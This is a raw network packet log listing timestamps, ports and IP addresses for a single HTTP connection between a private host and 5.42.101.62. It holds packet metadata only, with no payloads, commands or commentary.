Sep 30, 2024 12:22:33.535672903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535676003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535691023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535691977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535707951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535712957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535722017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535731077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535748959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535749912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535763979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535767078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535784960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535788059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535800934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535806894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535819054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535823107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535837889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535839081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535856009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535860062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535873890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535878897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535895109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535897970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535911083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535911083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535927057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535928965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.535947084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.535964012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536251068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536271095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536288023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536288977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536302090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536303997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536317110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536334991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536354065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536369085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536384106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536389112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536400080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536406040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536415100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536422014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536431074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536438942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536446095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536457062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536469936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536475897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536484957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536492109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536499977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536511898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536513090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536526918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536528111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536544085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536547899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536560059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536573887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536575079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536590099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536593914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536616087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536617041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536633968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536633968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536649942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536650896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536664963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536668062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536683083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536684990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536706924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536720037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536724091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536740065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536755085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536758900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536770105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536777020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536793947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536811113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536832094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536847115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536861897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536870956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536875010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536885023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536905050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536906004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536920071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536936998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536942005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536952972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.536957026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536973953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.536992073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537029982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537045002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537059069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537069082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537075996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537081957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537096024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537101030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537121058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537122965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537133932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537138939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537154913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537170887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537223101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537236929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537254095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537257910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537267923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537273884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537291050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537307024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537317038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537331104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537345886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537349939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537360907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537369967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537384987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537403107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537462950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537477970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537494898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537498951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537508965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537516117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537528992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537544966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537545919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537559986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537575006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537578106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537590981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537591934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537609100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537625074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537627935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537642002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537657022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537662029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537677050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537693024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537717104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537734032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537751913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537765026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537807941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537825108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537843943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537857056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537915945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537930012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537945032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537949085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537961006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537966967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537976980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.537985086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.537995100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.538005114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.538008928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.538021088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.538039923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.538053036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.538070917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.538084030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.538099051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.538106918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.538114071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.538120985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.538139105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.538156033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.621826887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.621865034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.621884108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.621896982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.621913910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.621931076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.621931076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.621931076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.621954918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.621959925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.621969938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.621977091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.621993065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622000933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622047901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622047901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622096062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622109890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622128010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622137070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622155905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622174978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622210026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622226000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622241974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622251034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622261047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622270107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622288942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622304916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622309923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622322083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622349024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622370005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622400999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622416019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622432947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622445107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622456074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622458935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622471094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622478962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622487068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622494936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622503996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622512102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622529984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622550964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622572899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622590065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622610092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622611046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622631073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622649908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622680902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622698069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622714043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622730017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622730017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622740984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622745991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622759104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622764111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622787952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622812986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622821093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622831106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622854948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622873068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622879028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622895002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622910976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622922897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622926950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.622939110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622957945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.622971058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623014927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623039961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623054028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623055935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623073101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623080015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623091936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623099089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623109102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623115063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623126030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623127937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623143911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623150110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623173952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623178959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623193026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623218060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623234987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623254061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623272896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623276949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623291016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.623296022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623306990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.623333931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.644031048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.649024963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.826692104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.826728106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.826766968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.826764107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.826816082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.826816082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.826826096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.826859951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.826868057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.826893091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.826908112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.826931000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.826944113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827002048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827018976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827050924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827059984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827091932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827102900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827136040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827147961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827168941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827174902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827219009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827219963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827260017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827270985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827302933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827316046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827337027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827343941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827370882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827378988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827409029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827424049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827455044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827466011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827487946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827503920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827529907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827538967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827579975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827584982 CEST	52534	80	192.168.2.4	5.42.101.62
